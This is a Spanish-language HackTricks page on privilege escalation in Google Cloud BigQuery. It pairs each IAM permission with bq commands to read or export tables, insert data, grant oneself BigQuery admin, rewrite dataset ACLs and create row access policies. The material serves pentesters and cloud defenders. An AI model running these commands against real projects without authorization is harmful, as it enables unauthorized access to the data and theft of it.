GCP - BigQuery Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

BigQuery

Para obtener más información sobre BigQuery, consulta:

pageGCP - Bigquery Enum

Leer tabla

Al leer la información almacenada dentro de una tabla de BigQuery, podría ser posible encontrar información sensible. Para acceder a la información se necesitan los permisos bigquery.tables.get, bigquery.jobs.create y bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Exportar datos

Esta es otra forma de acceder a los datos. Exportarlos a un bucket de almacenamiento en la nube y luego descargar los archivos con la información. Para realizar esta acción se necesitan los siguientes permisos: bigquery.tables.export, bigquery.jobs.create y storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insertar datos

Podría ser posible introducir ciertos datos confiables en una tabla de Bigquery para abusar de una vulnerabilidad en otro lugar. Esto se puede hacer fácilmente con los permisos bigquery.tables.get, bigquery.tables.updateData y bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Un atacante podría abusar de este privilegio para darse a sí mismo más permisos sobre un conjunto de datos de BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Solo este permiso permite actualizar tu acceso a un conjunto de datos de BigQuery modificando las ACL que indican quién puede acceder a él:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Un atacante podría abusar de este privilegio para darse a sí mismo más permisos sobre una tabla de BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Según la documentación, con los permisos mencionados es posible actualizar una política de fila. Sin embargo, usando la CLI bq necesitas algunos más: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Es posible encontrar el ID del filtro en la salida de la enumeración de políticas de filas. Ejemplo:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización